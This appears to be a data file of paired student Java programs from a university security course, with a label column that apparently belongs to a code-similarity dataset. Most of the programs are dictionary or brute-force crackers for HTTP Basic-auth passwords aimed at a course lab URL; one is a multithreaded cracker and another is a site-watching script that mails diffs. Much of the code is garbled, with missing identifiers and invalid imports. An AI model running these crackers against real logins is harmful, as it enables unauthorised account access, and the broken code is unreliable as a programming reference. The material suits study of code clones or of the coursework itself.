System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
051.java | 195.java | 0 | import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = "";
String pword = "null";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + ":" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println("in catch");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty ("Authorization", " " + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword);
doConnect(i, i+1);
}
else
{
System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
System.out.println( +"\tPassword : "+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
062.java | 195.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = "";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" Characters : "+charset);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Brute force mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Brute force mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" charset : (optional) the character set used crack.");
System.out.println(" - (default)");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -alphanum ");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
System.out.println(" -alphalow ");
System.out.println(" abcdefghijklmnopqrstuvwxyz");
System.out.println(" -alphaup ");
System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -number ");
System.out.println(" 1234567890");
System.out.println(" [custom] e.g. aAbB123");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 10 (default = 1)");
System.out.println(" <= <= 10 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [charset] is specified, then [], [], and");
System.out.println(" [username] have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java BruteForce ");
System.out.println(" java BruteForce 0");
System.out.println(" java BruteForce 1 http://localhost/tryme.php");
System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 ");
System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[4]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals("-")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-alphanum")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
} else
if (args[2].toLowerCase().equals("-alphalow")) {
charset = "abcdefghijklmnopqrstuvwxyz";
} else
if (args[2].toLowerCase().equals("-alphaup")) {
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-number")) {
charset = "1234567890";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println("Please specify the [charset], [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println("The number of parameters expected is not more than 6. ");
System.out.println(" have specified more than 6 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = "-";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
201.java | 182.java | 0 |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
024.java | 182.java | 0 |
import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class PasswordCombination
{
private int pwdCounter = 0;
private int startTime;
private String str1,str2,str3;
private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";
private String loginPwd;
private String[] password;
private HoldSharedData data;
private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z'};
public PasswordCombination()
{
System.out.println("Programmed by for INTE1070 Assignment 2");
String input = JOptionPane.showInputDialog( "Enter number of threads" );
if( input == null )
System.exit(0);
int numOfConnections = Integer.parseInt( input );
startTime = System.currentTimeMillis();
int pwdCounter = 52*52*52 + 52*52 + 52;
password = new String[pwdCounter];
doPwdCombination();
System.out.println("Total Number of Passwords Generated: " + pwdCounter);
createConnectionThread( numOfConnections );
}
private void doPwdCombination()
{
for( int i = 0; i < 52; i ++ )
{
